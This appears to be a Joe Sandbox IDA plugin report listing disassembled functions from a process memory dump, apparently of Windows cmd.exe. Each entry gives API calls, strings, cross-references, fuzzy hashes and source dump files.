Snapshot File: hcaresult_13_2_190000_alpha.jbxd

Similarity

API ID: iswdigit$wcstol
String ID: aApP
API String ID: 644763121-2547155087
Opcode ID: 90da7acca15ef581b6c33cce82d99cec6744f539461eaa9a7a82481b48f81fb1
Instruction ID: cfe326cfa5171a33f8165e3bd914167db064e2a7bfcfac97693838c3ef35563e
Opcode Fuzzy Hash: 90da7acca15ef581b6c33cce82d99cec6744f539461eaa9a7a82481b48f81fb1
Instruction Fuzzy Hash: B341D87560012287CF28DF69C8955FFB3B5BF55300B59842AED46DB282EB38DD42C6A1

Function 001B57A8 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 138registryCOMMON

Download Yara Rule

APIs

RegEnumKeyExW.API-MS-WIN-CORE-REGISTRY-L1-1-0(?,00000000,?,?,00000000,00000000,00000000,00000000), ref: 001B57F8
GetLastError.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0(00000000,?,00000000,?,?,00000000,00000000,00000000,00000000), ref: 001B5886

Strings

%s=%s, xrefs: 001B5847, 001B5905
., xrefs: 001B5808

Memory Dump Source

Source File: 0000000D.00000002.1629765335.0000000000191000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00190000, based on PE: true

Associated: 0000000D.00000002.1629711951.0000000000190000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1629876713.00000000001BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1629927979.00000000001DA000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1629927979.00000000001DE000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_190000_alpha.jbxd

Similarity

API ID: EnumErrorLast
String ID: %s=%s$.
API String ID: 1967352920-4275322459
Opcode ID: 47e539c0af4477a45550d190be8edf13a2d3a274878f495cfc1001c30e193bb9
Instruction ID: 7f14f8adcc5ae84fa75d355957d088fb4c54a46f282bfa92b1e04b332312f2a3
Opcode Fuzzy Hash: 47e539c0af4477a45550d190be8edf13a2d3a274878f495cfc1001c30e193bb9
Instruction Fuzzy Hash: 61411575E0061997CF34AB2A8C95BFB73BAEFA4314F1445ADE80A97241DBB04E41CA90

Function 001BA759 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 119COMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 001BA79F

Part of subcall function 0019E3F0: memset.MSVCRT ref: 0019E455

GetDiskFreeSpaceExW.API-MS-WIN-CORE-FILE-L1-1-0(?,?,?,?,?,-00000105,?,?,?), ref: 001BA83C
??_V@YAXPAX@Z.MSVCRT(?,-00000105,?,?,?), ref: 001BA8B5

Strings

%5lu, xrefs: 001BA885

Memory Dump Source

Source File: 0000000D.00000002.1629765335.0000000000191000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00190000, based on PE: true

Associated: 0000000D.00000002.1629711951.0000000000190000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1629876713.00000000001BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1629927979.00000000001DA000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1629927979.00000000001DE000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_190000_alpha.jbxd

Similarity

API ID: memset$DiskFreeSpace
String ID: %5lu
API String ID: 2448137811-2100233843
Opcode ID: ca0012de3773db6fe2a04ca0dce271f12dd80b567b5475bd3991a4925a5b137c
Instruction ID: 55aa03215d67564790a243eaddefa4ecdabbb640711a5559b643f888d8846407
Opcode Fuzzy Hash: ca0012de3773db6fe2a04ca0dce271f12dd80b567b5475bd3991a4925a5b137c
Instruction Fuzzy Hash: 1941B471A00219ABDF14EBA4DCD6BEEB7B8FF18304F4440A9E505A7241EB749F84CB91

Function 001B378A Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 111COMMON

Download Yara Rule

APIs

OpenSemaphoreW.API-MS-WIN-CORE-SYNCH-L1-1-0(001F0003,00000000,?), ref: 001B3835
GetLastError.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0 ref: 001B3847

Strings

wil, xrefs: 001B3886
_p0, xrefs: 001B37F7

Memory Dump Source

Source File: 0000000D.00000002.1629765335.0000000000191000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00190000, based on PE: true

Associated: 0000000D.00000002.1629711951.0000000000190000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1629876713.00000000001BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1629927979.00000000001DA000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1629927979.00000000001DE000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_190000_alpha.jbxd

Similarity

API ID: ErrorLastOpenSemaphore
String ID: _p0$wil
API String ID: 1909229842-1814513734
Opcode ID: 942c942df415c4c60154bd56f62ec0fa5c11c900c03e157a79afc1988a089972
Instruction ID: 3581b8134a7f127594bb94c12aa7d040f9f435e027eac74157eaa15da4c850f2
Opcode Fuzzy Hash: 942c942df415c4c60154bd56f62ec0fa5c11c900c03e157a79afc1988a089972
Instruction Fuzzy Hash: DE4117B1E012298BCB25DF29C8586E9B7B5EF94300F1483A9F81AD7250DB70CF45CB91

Function 001B237E Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 110synchronizationCOMMON

Download Yara Rule

APIs

GetCurrentProcessId.API-MS-WIN-CORE-PROCESSTHREADS-L1-1-0(00000040), ref: 001B239F
CreateMutexExW.API-MS-WIN-CORE-SYNCH-L1-1-0(00000000,?,00000000,001F0001), ref: 001B23CD

Strings

wil, xrefs: 001B2424, 001B24E7
Local\SM0:%d:%d:%hs, xrefs: 001B23A6

Memory Dump Source

Source File: 0000000D.00000002.1629765335.0000000000191000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00190000, based on PE: true

Associated: 0000000D.00000002.1629711951.0000000000190000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1629876713.00000000001BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1629927979.00000000001DA000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1629927979.00000000001DE000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_190000_alpha.jbxd

Similarity

API ID: CreateCurrentMutexProcess
String ID: Local\SM0:%d:%d:%hs$wil
API String ID: 3937467467-2303653343
Opcode ID: 816f42266d2eb2cba7bb26f6b2f3e013853353c004e775c88f11e354e8e365a2
Instruction ID: 0598122a00e8107e62851414c0a9c9917f597db7e31bdd5b42619873081ae591
Opcode Fuzzy Hash: 816f42266d2eb2cba7bb26f6b2f3e013853353c004e775c88f11e354e8e365a2
Instruction Fuzzy Hash: DA411675A402289BCB21EF64DC88EEAB7B5EF94700F1102C5E819A7240DB709F49CF90

Function 001B5679 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 94registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExW.API-MS-WIN-CORE-REGISTRY-L1-1-0(80000002,Software\Classes,00000000,02000000,?,001BCD40,0000001C,001B6901), ref: 001B56A8

Part of subcall function 0019BC30: wcschr.MSVCRT ref: 0019BCA7
Part of subcall function 0019BC30: iswspace.MSVCRT ref: 0019BD1D
Part of subcall function 0019BC30: wcschr.MSVCRT ref: 0019BD39
Part of subcall function 0019BC30: wcschr.MSVCRT ref: 0019BD5D

RegCloseKey.API-MS-WIN-CORE-REGISTRY-L1-1-0(?,00000003), ref: 001B5778

Part of subcall function 001B64DB: RegCreateKeyExW.API-MS-WIN-CORE-REGISTRY-L1-1-0(?,?,00000000,00000000,00000000,00000002,00000000,?,00000000,001BCD00,00000018,?,?,001ABFD6), ref: 001B650F
Part of subcall function 001B64DB: RegSetValueExW.API-MS-WIN-CORE-REGISTRY-L1-1-0(00000000,00000000,00000000,00000001,?,00000000,?,?,00000000,00000000,00000000,00000002,00000000,?,00000000,001BCD00), ref: 001B6545
Part of subcall function 001B64DB: RegCloseKey.API-MS-WIN-CORE-REGISTRY-L1-1-0(00000000,?,?,00000000,00000000,00000000,00000002,00000000,?,00000000,001BCD00,00000018,?,?,001ABFD6), ref: 001B6553

Strings

Software\Classes, xrefs: 001B569E
p~du, xrefs: 001B5778

Memory Dump Source

Source File: 0000000D.00000002.1629765335.0000000000191000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00190000, based on PE: true

Associated: 0000000D.00000002.1629711951.0000000000190000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1629876713.00000000001BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1629927979.00000000001DA000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1629927979.00000000001DE000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_190000_alpha.jbxd

Similarity

API ID: wcschr$Close$CreateOpenValueiswspace
String ID: Software\Classes$p~du
API String ID: 1047774138-3099581464
Opcode ID: 3e385b8c51f8c17f4859b82df36d8fc96b1b98769af9067aa2d29a505415f683
Instruction ID: c8a5c29be7e1ae0734a06af0ded3f20d126a60a7996ea38324c6e77ab12fbc96
Opcode Fuzzy Hash: 3e385b8c51f8c17f4859b82df36d8fc96b1b98769af9067aa2d29a505415f683
Instruction Fuzzy Hash: D7314F75F04714DBDF08ABA998527EDB7B2AF58710F64402EE002BB291EF715C008BA0

Function 001B5E03 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 92registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExW.API-MS-WIN-CORE-REGISTRY-L1-1-0(80000002,Software\Classes,00000000,02000000,?,001BCCE0,0000001C,001B6931), ref: 001B5E32

Part of subcall function 0019BC30: wcschr.MSVCRT ref: 0019BCA7
Part of subcall function 0019BC30: iswspace.MSVCRT ref: 0019BD1D
Part of subcall function 0019BC30: wcschr.MSVCRT ref: 0019BD39
Part of subcall function 0019BC30: wcschr.MSVCRT ref: 0019BD5D

RegCloseKey.API-MS-WIN-CORE-REGISTRY-L1-1-0(?,00000003), ref: 001B5EFB

Strings

Software\Classes, xrefs: 001B5E28
p~du, xrefs: 001B5EFB

Memory Dump Source

Source File: 0000000D.00000002.1629765335.0000000000191000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00190000, based on PE: true

Associated: 0000000D.00000002.1629711951.0000000000190000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1629876713.00000000001BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1629927979.00000000001DA000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1629927979.00000000001DE000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_190000_alpha.jbxd

Similarity

API ID: wcschr$CloseOpeniswspace
String ID: Software\Classes$p~du
API String ID: 2439148603-3099581464
Opcode ID: 0e1b827f37afe1ec80cc765742a298f122b4dbb01569cb4d255222bd007cd3de
Instruction ID: 749688a853a5b2c5560bf3b74dfcf0fe4d0d6a735e4c7b6a0235087fa2f7e01c
Opcode Fuzzy Hash: 0e1b827f37afe1ec80cc765742a298f122b4dbb01569cb4d255222bd007cd3de
Instruction Fuzzy Hash: 54317371E146148FDF18EFA9C8527EDB7B2AF58710F24402EE016B7291EB719D00DB64

Function 001BB222 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 90COMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 001BB25E

Part of subcall function 0019E3F0: memset.MSVCRT ref: 0019E455

_wcslwr.MSVCRT ref: 001BB2D2
??_V@YAXPAX@Z.MSVCRT(00000000,-00000001,?,?,?), ref: 001BB30B

Strings

[%s], xrefs: 001BB293

Memory Dump Source

Source File: 0000000D.00000002.1629765335.0000000000191000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00190000, based on PE: true

Associated: 0000000D.00000002.1629711951.0000000000190000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1629876713.00000000001BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1629927979.00000000001DA000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1629927979.00000000001DE000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_190000_alpha.jbxd

Similarity

API ID: memset$_wcslwr
String ID: [%s]
API String ID: 886762496-302437576
Opcode ID: 1bae1b0139d68dc30620f7f76a3d4a79e45ca16e22b57ace3ba792345bdff577
Instruction ID: dda76dd3e071a7811c9a0a46ff2fc28699586332d7c4e5ae066de205c6cd9148
Opcode Fuzzy Hash: 1bae1b0139d68dc30620f7f76a3d4a79e45ca16e22b57ace3ba792345bdff577
Instruction Fuzzy Hash: 80318071B05219ABDF10DBA9DCC5BEEB7F8AF18350F0800A9E505E3241EB74DE448B90

Function 001A4BAF Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 86COMMON

Download Yara Rule

APIs

_wcsnicmp.MSVCRT ref: 001A4C1A
_wcsnicmp.MSVCRT ref: 001B0B39

Strings

/-Y, xrefs: 001B0B33
COPYCMD, xrefs: 001A4BC9

Memory Dump Source

Source File: 0000000D.00000002.1629765335.0000000000191000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00190000, based on PE: true

Associated: 0000000D.00000002.1629711951.0000000000190000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1629876713.00000000001BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1629927979.00000000001DA000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1629927979.00000000001DE000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_190000_alpha.jbxd

Similarity

API ID: _wcsnicmp
String ID: /-Y$COPYCMD
API String ID: 1886669725-617350906
Opcode ID: d53621bd395eaa715bf090b8f706946cec8fbd5bf0923f3b85dc2b02457344e0
Instruction ID: daf4655f5451aa4521528e6fcea3aa5fbf259246af8b78389d6703f863e3b637
Opcode Fuzzy Hash: d53621bd395eaa715bf090b8f706946cec8fbd5bf0923f3b85dc2b02457344e0
Instruction Fuzzy Hash: AF21A07DA00211ABCF2C8B099C457FFB6F5EFCA364B610055E84997244EBF0CE41C260

Function 00199E09 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 70COMMON

Download Yara Rule

APIs

Part of subcall function 00199E8E: iswspace.MSVCRT ref: 00199E9E

iswspace.MSVCRT ref: 00199E28
_wcsnicmp.MSVCRT ref: 00199E79

Strings

off, xrefs: 00199E73

Memory Dump Source

Source File: 0000000D.00000002.1629765335.0000000000191000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00190000, based on PE: true

Associated: 0000000D.00000002.1629711951.0000000000190000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1629876713.00000000001BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1629927979.00000000001DA000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1629927979.00000000001DE000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_190000_alpha.jbxd

Similarity

API ID: iswspace$_wcsnicmp
String ID: off
API String ID: 3989682491-733764931
Opcode ID: a76dff0610145cdd2048147bacbb8bb809288c0836b180448bb8b19fbbbde23e
Instruction ID: c57820e572684a2a2d2e8fa6243f84e77703b80c1630afd496630e12916054c5
Opcode Fuzzy Hash: a76dff0610145cdd2048147bacbb8bb809288c0836b180448bb8b19fbbbde23e
Instruction Fuzzy Hash: 15112626705311AADF38A26D5C5AB3F63589FE1F55B29002EFD0AEA0C0FB41CD80D1A3

Function 001B5166 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 55COMMON

Download Yara Rule

APIs

Part of subcall function 001A727B: __iob_func.MSVCRT ref: 001A7280

fprintf.MSVCRT ref: 001B5182

Strings

Null environment, xrefs: 001B516F
CMD Internal Error %s, xrefs: 001B5174
%s, xrefs: 001B51B5

Memory Dump Source

Source File: 0000000D.00000002.1629765335.0000000000191000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00190000, based on PE: true

Associated: 0000000D.00000002.1629711951.0000000000190000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1629876713.00000000001BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1629927979.00000000001DA000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1629927979.00000000001DE000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_190000_alpha.jbxd

Similarity

API ID: __iob_funcfprintf
String ID: CMD Internal Error %s$%s$Null environment
API String ID: 620453056-2781220306
Opcode ID: 125d70aeb357fa0d69991199f4bfaa13e5cc9615fe5c8590fd2d0d1a46b20800
Instruction ID: febc758b7d9d585f3953663de92346726fa5d223d3baa4dbe3972ea14fdaa395
Opcode Fuzzy Hash: 125d70aeb357fa0d69991199f4bfaa13e5cc9615fe5c8590fd2d0d1a46b20800
Instruction Fuzzy Hash: B201263BA44B129ACB347B5CAC06BE3A365DBE1324365052BEC6A93180FBA19E438555

Function 001B3500 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 26libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleW.API-MS-WIN-CORE-LIBRARYLOADER-L1-2-0(ntdll.dll), ref: 001B351B
GetProcAddress.API-MS-WIN-CORE-LIBRARYLOADER-L1-2-0(00000000,RtlDllShutdownInProgress), ref: 001B352C

Strings

RtlDllShutdownInProgress, xrefs: 001B3526
ntdll.dll, xrefs: 001B3516

Memory Dump Source

Source File: 0000000D.00000002.1629765335.0000000000191000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00190000, based on PE: true

Associated: 0000000D.00000002.1629711951.0000000000190000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1629876713.00000000001BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1629927979.00000000001DA000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1629927979.00000000001DE000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_190000_alpha.jbxd

Similarity

API ID: AddressHandleModuleProc
String ID: RtlDllShutdownInProgress$ntdll.dll
API String ID: 1646373207-582119455
Opcode ID: a64c2a4d5c737b124c9161e8ce473a3a6f5a94be2c1570dce70bc126285de189
Instruction ID: 3ff05778c9f83d4bd0d0da0ec24d01f86b903a125d6e178fd04ccfb124f7b488
Opcode Fuzzy Hash: a64c2a4d5c737b124c9161e8ce473a3a6f5a94be2c1570dce70bc126285de189
Instruction Fuzzy Hash: 37E01A31E43230AB8F319F34BD09ADA3BD8AB44BA030A0256F819D3A64D7648D818FD1

Function 001B38F0 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 21libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleW.API-MS-WIN-CORE-LIBRARYLOADER-L1-2-0(kernelbase.dll), ref: 001B38FB
GetProcAddress.API-MS-WIN-CORE-LIBRARYLOADER-L1-2-0(00000000,RaiseFailFastException), ref: 001B3907

Strings

RaiseFailFastException, xrefs: 001B3901
kernelbase.dll, xrefs: 001B38F6

Memory Dump Source

Source File: 0000000D.00000002.1629765335.0000000000191000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00190000, based on PE: true

Associated: 0000000D.00000002.1629711951.0000000000190000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1629876713.00000000001BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1629927979.00000000001DA000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1629927979.00000000001DE000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_190000_alpha.jbxd

Similarity

API ID: AddressHandleModuleProc
String ID: RaiseFailFastException$kernelbase.dll
API String ID: 1646373207-919018592
Opcode ID: 2b17dc8ad20e19714fb8f3111a778444d578e0b909525623e8fa230271210483
Instruction ID: fd31b4342823eb743266404ea9e1e11fd0ce28a29d4790e188f2c86cd8c86e3a
Opcode Fuzzy Hash: 2b17dc8ad20e19714fb8f3111a778444d578e0b909525623e8fa230271210483
Instruction Fuzzy Hash: F6E08C32502228BBCF211FA1DC0CC8BBF19EF447A17440022F918825208B728960CAA1

Function 001A52F5 Relevance: 6.2, APIs: 4, Instructions: 185COMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 001A539E

Part of subcall function 0019E3F0: memset.MSVCRT ref: 0019E455

??_V@YAXPAX@Z.MSVCRT(?,00007FE9), ref: 001A54C6

Part of subcall function 00198E9E: GetCurrentDirectoryW.API-MS-WIN-CORE-PROCESSENVIRONMENT-L1-1-0(?,001D8BF0,00000000,?), ref: 00198EC3

Memory Dump Source

Source File: 0000000D.00000002.1629765335.0000000000191000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00190000, based on PE: true

Associated: 0000000D.00000002.1629711951.0000000000190000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1629876713.00000000001BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1629927979.00000000001DA000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1629927979.00000000001DE000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_190000_alpha.jbxd

Similarity

API ID: memset$CurrentDirectory
String ID:
API String ID: 168429351-0
Opcode ID: 6d4ca9cf11395636657681dfb545c289d62c74ea0a64173579fee51a4e7f03f4
Instruction ID: a6a4a87de8346a1d1fd6b4a620e9daaf2f4703a91c26faef2e34f45891b24ab3
Opcode Fuzzy Hash: 6d4ca9cf11395636657681dfb545c289d62c74ea0a64173579fee51a4e7f03f4
Instruction Fuzzy Hash: 7761787560C7019FD328DF28D4856ABBBE6FF89300F11492EF989C7250EB709984CB96

Function 0019AA75 Relevance: 6.2, APIs: 4, Instructions: 182COMMON

Download Yara Rule

APIs

_wcsnicmp.MSVCRT ref: 0019AAD2
_wcsnicmp.MSVCRT ref: 0019AAE6
wcschr.MSVCRT ref: 0019AB1D

Memory Dump Source

Source File: 0000000D.00000002.1629765335.0000000000191000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00190000, based on PE: true

Associated: 0000000D.00000002.1629711951.0000000000190000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1629876713.00000000001BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1629927979.00000000001DA000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1629927979.00000000001DE000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_190000_alpha.jbxd

Similarity

API ID: _wcsnicmp$wcschr
String ID:
API String ID: 3270668897-0
Opcode ID: 6b30806eba700595f41847aaab050155483b5dfd31c2cb4cf6d2522728c3878f
Instruction ID: 43d2b04e3e018bb88dd3b46dd158da9bf257fad4086f0a90f13778db261c3fbb
Opcode Fuzzy Hash: 6b30806eba700595f41847aaab050155483b5dfd31c2cb4cf6d2522728c3878f
Instruction Fuzzy Hash: 94512C397002159BDF24EB68D855B7E73A6EF95740B54841DE8439B2C1FB704E82D3D1

Function 0019DED0 Relevance: 6.2, APIs: 4, Instructions: 162COMMON

Download Yara Rule

APIs

iswdigit.MSVCRT ref: 0019DF1A
iswdigit.MSVCRT ref: 0019DF78
iswdigit.MSVCRT ref: 0019E05E

Memory Dump Source

Source File: 0000000D.00000002.1629765335.0000000000191000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00190000, based on PE: true

Associated: 0000000D.00000002.1629711951.0000000000190000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1629876713.00000000001BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1629927979.00000000001DA000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1629927979.00000000001DE000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_190000_alpha.jbxd

Similarity

API ID: iswdigit
String ID:
API String ID: 3849470556-0
Opcode ID: 66c6a5c8a20a0a38cef2d3c081d036421b26813e7b105ab92f2be11c2b7a50a5
Instruction ID: b6c43af99993f81ff852a9abd8e8c902dc7139ee19fbbaf0fc7ea58fb170c15e
Opcode Fuzzy Hash: 66c6a5c8a20a0a38cef2d3c081d036421b26813e7b105ab92f2be11c2b7a50a5
Instruction Fuzzy Hash: F3511775A05200DBCF18DF59E84527DB7B1FF84300F6981AAE8028B791EB75DD82DB81

Function 001A1CD5 Relevance: 6.1, APIs: 4, Instructions: 118COMMON

Download Yara Rule

APIs

SetErrorMode.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0(00000000,00000000,?,00000000,00000000,?,?,?,001980F4,00000000,00000000,-00000001,00000000,?,00000000), ref: 001A1D3A
SetErrorMode.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0(00000001,?,001980F4,00000000,00000000,-00000001,00000000,?,00000000), ref: 001A1D44
GetFullPathNameW.API-MS-WIN-CORE-FILE-L1-1-0(00000000,-00000001,?,00000000,?,001980F4,00000000,00000000,-00000001,00000000,?,00000000), ref: 001A1D57
SetErrorMode.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0(00000000,?,001980F4,00000000,00000000,-00000001,00000000,?,00000000), ref: 001A1D61

Memory Dump Source

Source File: 0000000D.00000002.1629765335.0000000000191000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00190000, based on PE: true

Associated: 0000000D.00000002.1629711951.0000000000190000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1629876713.00000000001BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1629927979.00000000001DA000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1629927979.00000000001DE000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_190000_alpha.jbxd

Similarity

API ID: ErrorMode$FullNamePath
String ID:
API String ID: 268959451-0
Opcode ID: 97ab789ed37b9362b3bf8e36a43ec6158be3c256d8b58415626572b27f38cd29
Instruction ID: 8e9bec0418faef4e025c19eeead1b5765f3ac0e61b9e11cdfd7356efbcbb53f4
Opcode Fuzzy Hash: 97ab789ed37b9362b3bf8e36a43ec6158be3c256d8b58415626572b27f38cd29
Instruction Fuzzy Hash: 4F312C3D100101BBCF28DFA8C85597FB7A6EF49304B69891DF906CB650E7B5AE42C750

Function 0019C570 Relevance: 6.1, APIs: 4, Instructions: 101memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.API-MS-WIN-CORE-HEAP-L1-1-0(00000000,?,00000000,00000000,00000000,00000000,00000000), ref: 0019C5BD
RtlFreeHeap.NTDLL(00000000), ref: 0019C5C4
_setjmp3.MSVCRT ref: 0019C630
VirtualFree.API-MS-WIN-CORE-MEMORY-L1-1-0(?,00000000,00008000,00000000,00000000,00000000,00000000,00000000), ref: 0019C69D

Memory Dump Source

Source File: 0000000D.00000002.1629765335.0000000000191000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00190000, based on PE: true

Associated: 0000000D.00000002.1629711951.0000000000190000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1629876713.00000000001BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1629927979.00000000001DA000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1629927979.00000000001DE000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_190000_alpha.jbxd

Similarity

API ID: FreeHeap$ProcessVirtual_setjmp3
String ID:
API String ID: 2613391085-0
Opcode ID: b9b6651607f9868becdcc57851e4e6c0ce4d5dde16996516b156103326686f3e
Instruction ID: f5d95787c96efbd21d09a5f94f7dd7a5359e468ac48c7164af6145aacdb1415e
Opcode Fuzzy Hash: b9b6651607f9868becdcc57851e4e6c0ce4d5dde16996516b156103326686f3e
Instruction Fuzzy Hash: 473189B0B013109BEF10DF28A944B6A7BB4FB58704F25452AE849DB754EB74D884CB91

Function 001B63F3 Relevance: 6.1, APIs: 4, Instructions: 86COMMON

Download Yara Rule

APIs

longjmp.MSVCRT(001D0A30,00000001,?,?,001ABFD6,?,?,?,?,?,?,?,?), ref: 001B64D4

Part of subcall function 0019DCD0: GetProcessHeap.API-MS-WIN-CORE-HEAP-L1-1-0(00000008,?,?,0019ACD8,00000001,?,00000000,00198C23,-00000105,001BC9B0,00000240,001A1E92,00000000,00000000,001AACE0,00000000), ref: 0019DCE1
